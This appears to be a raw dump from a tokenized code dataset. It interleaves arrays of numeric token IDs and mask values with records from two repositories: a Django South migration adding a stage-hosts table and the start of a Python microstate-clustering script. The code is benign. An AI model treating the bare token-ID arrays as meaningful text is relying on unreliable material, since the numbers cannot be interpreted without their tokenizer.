342,
267,
702,
440,
6863,
63,
493,
14,
1074,
8,
2444,
29,
17,
9,
339,
347,
511,
63,
2168,
63,
264,
4912,
63,
6753,
63,
694,
8,
277,
12,
12885,
304,
267,
6863,
63,
694,
275,
12885,
14,
904,
360,
6753,
694,
1959,
7505,
8,
694,
29,
17,
9,
267,
6863,
63,
694,
14,
11693,
8,
442,
480,
5783,
401,
1695,
430,
267,
6863,
63,
694,
14,
2168,
342,
267,
702,
440,
6863,
63,
694,
14,
1074,
8,
2444,
29,
17,
9,
339,
347,
511,
63,
2168,
63,
264,
4912,
63,
694,
63,
460,
63,
6753,
63,
493,
8,
277,
12,
12885,
304,
267,
6863,
63,
694,
275,
12885,
14,
904,
360,
6753,
694,
1959,
7505,
8,
694,
29,
17,
9,
267,
6863,
63,
493,
275,
6863,
63,
694,
14,
904,
360,
6753,
493,
1959,
7505,
342,
267,
6863,
63,
493,
14,
11693,
8,
16,
9,
267,
6863,
63,
694,
14,
2168,
342,
267,
702,
440,
6863,
63,
694,
14,
1074,
8,
2444,
29,
17,
9,
339,
347,
511,
63,
2168,
63,
13243,
63,
4247,
63,
2550,
8,
277,
12,
12885,
12,
17309,
304,
267,
634,
275,
942,
267,
17309,
14,
10202,
8,
647,
14,
1516,
14,
20938,
12,
283,
9242,
297,
288,
2400,
627,
589,
12,
1011,
958,
26,
634,
14,
740,
8,
958,
430,
267,
12885,
14,
2168,
342,
267,
702,
440,
634,
59,
16,
2733,
4247,
63,
2550,
418,
267,
367,
1139,
315,
334,
549,
12,
756,
304,
288,
634,
5873,
275,
942,
288,
12885,
14,
2168,
8,
4247,
63,
2550,
29,
637,
9,
288,
702,
634,
59,
16,
2733,
4247,
63,
2550,
418,
508,
1139,
339,
347,
511,
63,
8489,
63,
15594,
8,
277,
304,
267,
702,
620,
8,
1832,
1012,
508,
1134,
14,
1516,
14,
736,
14,
9458,
342,
339,
768,
10728,
678,
2676,
708,
272,
347,
511,
63,
8563,
63,
32227,
8,
277,
12,
931,
17,
304,
267,
299,
275,
931,
17,
14,
7505,
480,
694,
63,
475,
63,
1235,
63,
10649,
401,
2935,
29,
17,
9,
267,
299,
14,
8563,
342,
267,
299,
14,
2168,
342,
267,
4613,
14,
3536,
8,
647,
14,
705,
14,
20465,
12,
1134,
14,
515,
14,
1832,
9,
267,
702,
931,
17,
14,
8563,
342,
365,
488,
267,
702,
747,
14,
9458,
342,
508,
620,
8,
515,
17,
9,
339,
347,
511,
63,
305,
63,
6525,
8,
277,
12,
931,
17,
304,
267,
2935,
275,
931,
17,
14,
7505,
480,
10622,
401,
2935,
29,
17,
9,
267,
2269,
275,
1134,
14,
515,
14,
1832,
342,
267,
543,
2935,
14,
305,
63,
6525,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
AlexSnet/FabricDeployer
|
projects/migrations/0020_auto.py
|
18
|
9853
|
# -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding M2M table for field hosts on 'Stage'
m2m_table_name = db.shorten_name(u'projects_stage_hosts')
db.create_table(m2m_table_name, (
('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True)),
('stage', models.ForeignKey(orm[u'projects.stage'], null=False)),
('host', models.ForeignKey(orm[u'hosts.host'], null=False))
))
db.create_unique(m2m_table_name, ['stage_id', 'host_id'])
def backwards(self, orm):
# Removing M2M table for field hosts on 'Stage'
db.delete_table(db.shorten_name(u'projects_stage_hosts'))
models = {
u'accounts.deployuser': {
'Meta': {'object_name': 'DeployUser'},
'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'email': ('django.db.models.fields.EmailField', [], {'unique': 'True', 'max_length': '255', 'db_index': 'True'}),
'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}),
'template': ('django.db.models.fields.CharField', [], {'default': "'bootstrap.min.css'", 'max_length': '255', 'blank': 'True'}),
'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'})
},
u'auth.group': {
'Meta': {'object_name': 'Group'},
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}),
'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'})
},
u'auth.permission': {
'Meta': {'ordering': "(u'content_type__app_label', u'content_type__model', u'codename')", 'unique_together': "((u'content_type', u'codename'),)", 'object_name': 'Permission'},
'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['contenttypes.ContentType']"}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})
},
u'contenttypes.contenttype': {
'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"},
'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})
},
u'hosts.host': {
'Meta': {'object_name': 'Host'},
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255'})
},
u'projects.configuration': {
'Meta': {'object_name': 'Configuration'},
'data_type': ('django.db.models.fields.CharField', [], {'default': "'string'", 'max_length': '10', 'null': 'True', 'blank': 'True'}),
'date_created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'date_deleted': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'date_update': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'key': ('django.db.models.fields.CharField', [], {'max_length': '255'}),
'project': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['projects.Project']"}),
'prompt_me_for_input': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'sensitive_value': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'stage': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['projects.Stage']", 'null': 'True', 'blank': 'True'}),
'value': ('django.db.models.fields.CharField', [], {'max_length': '500', 'null': 'True', 'blank': 'True'}),
'value_boolean': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'value_number': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'})
},
u'projects.deployment': {
'Meta': {'object_name': 'Deployment'},
'comments': ('django.db.models.fields.TextField', [], {}),
'configuration': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
'date_created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'date_deleted': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'date_update': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'output': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
'stage': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['projects.Stage']"}),
'status': ('django.db.models.fields.CharField', [], {'default': "'pending'", 'max_length': '10'}),
'task': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['projects.Task']"}),
'user': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['accounts.DeployUser']"})
},
u'projects.project': {
'Meta': {'object_name': 'Project'},
'date_created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'date_deleted': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'date_update': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}),
'description': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255'}),
'number_of_deployments': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'type': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['projects.ProjectType']", 'null': 'True', 'blank': 'True'})
},
u'projects.projecttype': {
'Meta': {'object_name': 'ProjectType'},
'date_created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'date_deleted': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'date_update': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255'})
},
u'projects.stage': {
'Meta': {'object_name': 'Stage'},
'date_created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'date_deleted': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'date_update': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}),
'hosts': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['hosts.Host']", 'symmetrical': 'False'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255'}),
'project': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['projects.Project']"})
},
u'projects.task': {
'Meta': {'object_name': 'Task'},
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255'}),
'times_used': ('django.db.models.fields.PositiveIntegerField', [], {'default': '1'})
}
}
complete_apps = ['projects']
|
mit
|
[
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
646,
2197,
199,
504,
12919,
14,
697,
492,
1592,
199,
504,
12919,
14,
86,
18,
492,
24765,
199,
504,
1639,
14,
697,
492,
1709,
421,
199,
533,
12090,
8,
24822,
304,
339,
347,
17465,
8,
277,
12,
9813,
304,
267,
327,
12934,
603,
18,
45,
1817,
367,
901,
7057,
641,
283,
21052,
7,
267,
333,
18,
77,
63,
1224,
63,
354,
275,
1592,
14,
30686,
63,
354,
8,
85,
7,
6776,
63,
8614,
63,
5146,
358,
267,
1592,
14,
981,
63,
1224,
8,
77,
18,
77,
63,
1224,
63,
354,
12,
334,
288,
661,
344,
297,
1709,
14,
4378,
8,
3832,
63,
354,
534,
998,
297,
5062,
63,
498,
29,
549,
12,
2599,
63,
3966,
29,
549,
1826,
288,
661,
8614,
297,
1709,
14,
3190,
8,
1025,
59,
85,
7,
6776,
14,
8614,
995,
2973,
29,
797,
1826,
288,
661,
1102,
297,
1709,
14,
3190,
8,
1025,
59,
85,
7,
5146,
14,
1102,
995,
2973,
29,
797,
430,
267,
5082,
267,
1592,
14,
981,
63,
3235,
8,
77,
18,
77,
63,
1224,
63,
354,
12,
788,
8614,
63,
344,
297,
283,
1102,
63,
344,
1105,
2378,
347,
8552,
8,
277,
12,
9813,
304,
267,
327,
29343,
603,
18,
45,
1817,
367,
901,
7057,
641,
283,
21052,
7,
267,
1592,
14,
1807,
63,
1224,
8,
697,
14,
30686,
63,
354,
8,
85,
7,
6776,
63,
8614,
63,
5146,
1333,
2378,
1709,
275,
469,
267,
399,
7,
8370,
14,
11060,
751,
356,
469,
288,
283,
3396,
356,
791,
785,
63,
354,
356,
283,
27597,
1899,
2267,
288,
283,
602,
63,
11806,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
4626,
297,
990,
791,
885,
356,
283,
2083,
14,
2083,
14,
2131,
1604,
288,
283,
2123,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
16577,
297,
990,
791,
3235,
356,
283,
549,
297,
283,
988,
63,
1267,
356,
283,
2299,
297,
283,
697,
63,
1080,
356,
283,
549,
1604,
288,
283,
2246,
63,
354,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
2183,
297,
990,
791,
988,
63,
1267,
356,
283,
1216,
297,
283,
2500,
356,
283,
549,
1604,
288,
283,
2634,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
2407,
14,
7624,
297,
990,
791,
475,
356,
399,
2,
1025,
459,
1178,
14,
2448,
6256,
283,
10247,
356,
283,
797,
297,
283,
2500,
356,
283,
549,
1604,
288,
399,
7,
344,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
4378,
297,
990,
791,
3327,
63,
498,
356,
283,
549,
1604,
288,
283,
374,
63,
2682,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
5036,
297,
990,
791,
885,
356,
283,
549,
1604,
288,
283,
374,
63,
7018,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
5036,
297,
990,
791,
885,
356,
283,
797,
1604,
288,
283,
374,
63,
11434,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
5036,
297,
990,
791,
885,
356,
283,
797,
1604,
288,
283,
2019,
63,
2886,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
4626,
297,
990,
791,
885,
356,
283,
2083,
14,
2083,
14,
2131,
1604,
288,
283,
2019,
63,
354,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
2183,
297,
990,
791,
988,
63,
1267,
356,
283,
1216,
297,
283,
2500,
356,
283,
549,
1604,
288,
283,
2060,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
2183,
297,
990,
791,
988,
63,
1267,
356,
283,
3933,
1604,
288,
283,
1160,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
2183,
297,
990,
791,
885,
356,
3546,
11146,
14,
827,
14,
3919,
4662,
283,
988,
63,
1267,
356,
283,
2299,
297,
283,
2500,
356,
283,
549,
1604,
288,
283,
751,
63,
6060,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
2407,
14,
7624,
297,
990,
791,
475,
356,
399,
2,
1025,
459,
1178,
14,
7980,
6256,
283,
10247,
356,
283,
797,
297,
283,
2500,
356,
283,
549,
3071,
267,
1660,
267,
399,
7,
1178,
14,
923,
356,
469,
288,
283,
3396,
356,
791,
785,
63,
354,
356,
283,
2448,
2267,
288,
399,
7,
344,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
4378,
297,
990,
791,
3327,
63,
498,
356,
283,
549,
1604,
288,
283,
354,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
2183,
297,
990,
791,
3235,
356,
283,
549,
297,
283,
988,
63,
1267,
356,
283,
1257,
1604,
288,
283,
6060,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
2407,
14,
7624,
297,
990,
791,
475,
356,
399,
2,
1025,
459,
1178,
14,
7980,
6256,
283,
10247,
356,
283,
797,
297,
283,
2500,
356,
283,
549,
3071,
267,
1660,
267,
399,
7,
1178,
14,
5693,
356,
469,
288,
283,
3396,
356,
791,
7128,
356,
7340,
85,
7,
1317,
63,
466,
363,
571,
63,
1302,
297,
399,
7,
1317,
63,
466,
363,
1238,
297,
399,
7,
11879,
18106,
283,
3235,
63,
6314,
356,
298,
1332,
85,
7,
1317,
63,
466,
297,
399,
7,
11879,
9878,
283,
785,
63,
354,
356,
283,
7980,
2267,
288,
283,
11879,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
2183,
297,
990,
791,
988,
63,
1267,
356,
283,
1960,
1604,
288,
283,
1317,
63,
466,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
2407,
14,
3190,
297,
990,
791,
475,
356,
399,
2,
1025,
459,
10778,
14,
11282,
6097,
288,
399,
7,
344,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
4378,
297,
990,
791,
3327,
63,
498,
356,
283,
549,
1604,
288,
283,
354,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
2183,
297,
990,
791,
988,
63,
1267,
356,
283,
1400,
3071,
267,
1660,
267,
399,
7,
10778,
14,
20735,
356,
469,
288,
283,
3396,
356,
791,
7128,
356,
16111,
354,
21099,
283,
3235,
63,
6314,
356,
9510,
571,
63,
1302,
297,
283,
1238,
9878,
283,
785,
63,
354,
356,
283,
11282,
297,
283,
697,
63,
1224,
356,
3546,
1176,
63,
1317,
63,
466,
15208,
288,
283,
571,
63,
1302,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
2183,
297,
990
] |
[
1882,
2803,
26,
2774,
13,
24,
1882,
199,
646,
2197,
199,
504,
12919,
14,
697,
492,
1592,
199,
504,
12919,
14,
86,
18,
492,
24765,
199,
504,
1639,
14,
697,
492,
1709,
421,
199,
533,
12090,
8,
24822,
304,
339,
347,
17465,
8,
277,
12,
9813,
304,
267,
327,
12934,
603,
18,
45,
1817,
367,
901,
7057,
641,
283,
21052,
7,
267,
333,
18,
77,
63,
1224,
63,
354,
275,
1592,
14,
30686,
63,
354,
8,
85,
7,
6776,
63,
8614,
63,
5146,
358,
267,
1592,
14,
981,
63,
1224,
8,
77,
18,
77,
63,
1224,
63,
354,
12,
334,
288,
661,
344,
297,
1709,
14,
4378,
8,
3832,
63,
354,
534,
998,
297,
5062,
63,
498,
29,
549,
12,
2599,
63,
3966,
29,
549,
1826,
288,
661,
8614,
297,
1709,
14,
3190,
8,
1025,
59,
85,
7,
6776,
14,
8614,
995,
2973,
29,
797,
1826,
288,
661,
1102,
297,
1709,
14,
3190,
8,
1025,
59,
85,
7,
5146,
14,
1102,
995,
2973,
29,
797,
430,
267,
5082,
267,
1592,
14,
981,
63,
3235,
8,
77,
18,
77,
63,
1224,
63,
354,
12,
788,
8614,
63,
344,
297,
283,
1102,
63,
344,
1105,
2378,
347,
8552,
8,
277,
12,
9813,
304,
267,
327,
29343,
603,
18,
45,
1817,
367,
901,
7057,
641,
283,
21052,
7,
267,
1592,
14,
1807,
63,
1224,
8,
697,
14,
30686,
63,
354,
8,
85,
7,
6776,
63,
8614,
63,
5146,
1333,
2378,
1709,
275,
469,
267,
399,
7,
8370,
14,
11060,
751,
356,
469,
288,
283,
3396,
356,
791,
785,
63,
354,
356,
283,
27597,
1899,
2267,
288,
283,
602,
63,
11806,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
4626,
297,
990,
791,
885,
356,
283,
2083,
14,
2083,
14,
2131,
1604,
288,
283,
2123,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
16577,
297,
990,
791,
3235,
356,
283,
549,
297,
283,
988,
63,
1267,
356,
283,
2299,
297,
283,
697,
63,
1080,
356,
283,
549,
1604,
288,
283,
2246,
63,
354,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
2183,
297,
990,
791,
988,
63,
1267,
356,
283,
1216,
297,
283,
2500,
356,
283,
549,
1604,
288,
283,
2634,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
2407,
14,
7624,
297,
990,
791,
475,
356,
399,
2,
1025,
459,
1178,
14,
2448,
6256,
283,
10247,
356,
283,
797,
297,
283,
2500,
356,
283,
549,
1604,
288,
399,
7,
344,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
4378,
297,
990,
791,
3327,
63,
498,
356,
283,
549,
1604,
288,
283,
374,
63,
2682,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
5036,
297,
990,
791,
885,
356,
283,
549,
1604,
288,
283,
374,
63,
7018,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
5036,
297,
990,
791,
885,
356,
283,
797,
1604,
288,
283,
374,
63,
11434,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
5036,
297,
990,
791,
885,
356,
283,
797,
1604,
288,
283,
2019,
63,
2886,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
4626,
297,
990,
791,
885,
356,
283,
2083,
14,
2083,
14,
2131,
1604,
288,
283,
2019,
63,
354,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
2183,
297,
990,
791,
988,
63,
1267,
356,
283,
1216,
297,
283,
2500,
356,
283,
549,
1604,
288,
283,
2060,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
2183,
297,
990,
791,
988,
63,
1267,
356,
283,
3933,
1604,
288,
283,
1160,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
2183,
297,
990,
791,
885,
356,
3546,
11146,
14,
827,
14,
3919,
4662,
283,
988,
63,
1267,
356,
283,
2299,
297,
283,
2500,
356,
283,
549,
1604,
288,
283,
751,
63,
6060,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
2407,
14,
7624,
297,
990,
791,
475,
356,
399,
2,
1025,
459,
1178,
14,
7980,
6256,
283,
10247,
356,
283,
797,
297,
283,
2500,
356,
283,
549,
3071,
267,
1660,
267,
399,
7,
1178,
14,
923,
356,
469,
288,
283,
3396,
356,
791,
785,
63,
354,
356,
283,
2448,
2267,
288,
399,
7,
344,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
4378,
297,
990,
791,
3327,
63,
498,
356,
283,
549,
1604,
288,
283,
354,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
2183,
297,
990,
791,
3235,
356,
283,
549,
297,
283,
988,
63,
1267,
356,
283,
1257,
1604,
288,
283,
6060,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
2407,
14,
7624,
297,
990,
791,
475,
356,
399,
2,
1025,
459,
1178,
14,
7980,
6256,
283,
10247,
356,
283,
797,
297,
283,
2500,
356,
283,
549,
3071,
267,
1660,
267,
399,
7,
1178,
14,
5693,
356,
469,
288,
283,
3396,
356,
791,
7128,
356,
7340,
85,
7,
1317,
63,
466,
363,
571,
63,
1302,
297,
399,
7,
1317,
63,
466,
363,
1238,
297,
399,
7,
11879,
18106,
283,
3235,
63,
6314,
356,
298,
1332,
85,
7,
1317,
63,
466,
297,
399,
7,
11879,
9878,
283,
785,
63,
354,
356,
283,
7980,
2267,
288,
283,
11879,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
2183,
297,
990,
791,
988,
63,
1267,
356,
283,
1960,
1604,
288,
283,
1317,
63,
466,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
2407,
14,
3190,
297,
990,
791,
475,
356,
399,
2,
1025,
459,
10778,
14,
11282,
6097,
288,
399,
7,
344,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
4378,
297,
990,
791,
3327,
63,
498,
356,
283,
549,
1604,
288,
283,
354,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
2183,
297,
990,
791,
988,
63,
1267,
356,
283,
1400,
3071,
267,
1660,
267,
399,
7,
10778,
14,
20735,
356,
469,
288,
283,
3396,
356,
791,
7128,
356,
16111,
354,
21099,
283,
3235,
63,
6314,
356,
9510,
571,
63,
1302,
297,
283,
1238,
9878,
283,
785,
63,
354,
356,
283,
11282,
297,
283,
697,
63,
1224,
356,
3546,
1176,
63,
1317,
63,
466,
15208,
288,
283,
571,
63,
1302,
356,
661,
1176,
14,
697,
14,
992,
14,
955,
14,
2183,
297,
990,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
stephenliu1989/HK_DataMiner
|
hkdataminer/Nystrom_code/microToMacroBySHC_v2.0b.py
|
1
|
41931
|
#!/usr/bin/env python
#######################################################
#Written by Daniel Silva
#Based in the original SHC code from Yuan YAO and Xuhui Huang:
# Proceedings of the Pacific Symposium on Biocomputing, 15, 228-239, (2010)
#
#Intended to be used in the SimTK project
#Ver. 1.5b 21/Apr/2011
#######################################################
import optparse
import sys
import linecache
import scipy.io
import numpy as np
#import colorsys
from pylab import *
from numpy import *
from scipy import *
from scipy.sparse import *
from scipy.sparse.linalg import *
from scipy.linalg import eig
from scipy.interpolate import interp1d
from scipy.sparse.linalg.eigen.arpack import *
def version():
print "(OUTPUT) Python SHC ver 2.01b"
#def licence():
def main():
version()
# licence()
p = optparse.OptionParser()
p.add_option('--outMicroCountMatrixName', '-c', default="microstateCountMatrix.mtx")
p.add_option('--lagstep', '-l', default="1")
p.add_option('--headDir', '-d', default="./")
p.add_option('--trajlist', '-t', default="-1")
p.add_option('--plevelsFile', '-p', default="plevels.shc")
p.add_option('--outMacrostateAssignementsMap', '-s', default="macrostateMap.map")
p.add_option('--writeMacroAssignments', '-w', default="0")
p.add_option('--optimumMacrostateSize', '-o', default="0.01")
p.add_option('--maximumAssignIterations', '-i', default="10")
p.add_option('--removeBarelyConnectedMicros', '-r', default="0")
p.add_option('--writeTCMtxt', '-x', default="0")
p.add_option('--scanModeTopDensity', '-a', default="0.0")
p.add_option('--inputMatrix', '-m', default="")
p.add_option('--outFlowGraphName', '-f', default="macroFlowGraph.dot")
p.add_option('--bJumpWindow', '-j', default="0")
p.add_option('--whichGap', '-g', default="1")
options, arguments = p.parse_args()
outMicroCountMatrixName = (options.outMicroCountMatrixName)
tLag = int(options.lagstep)
headDir = (options.headDir)
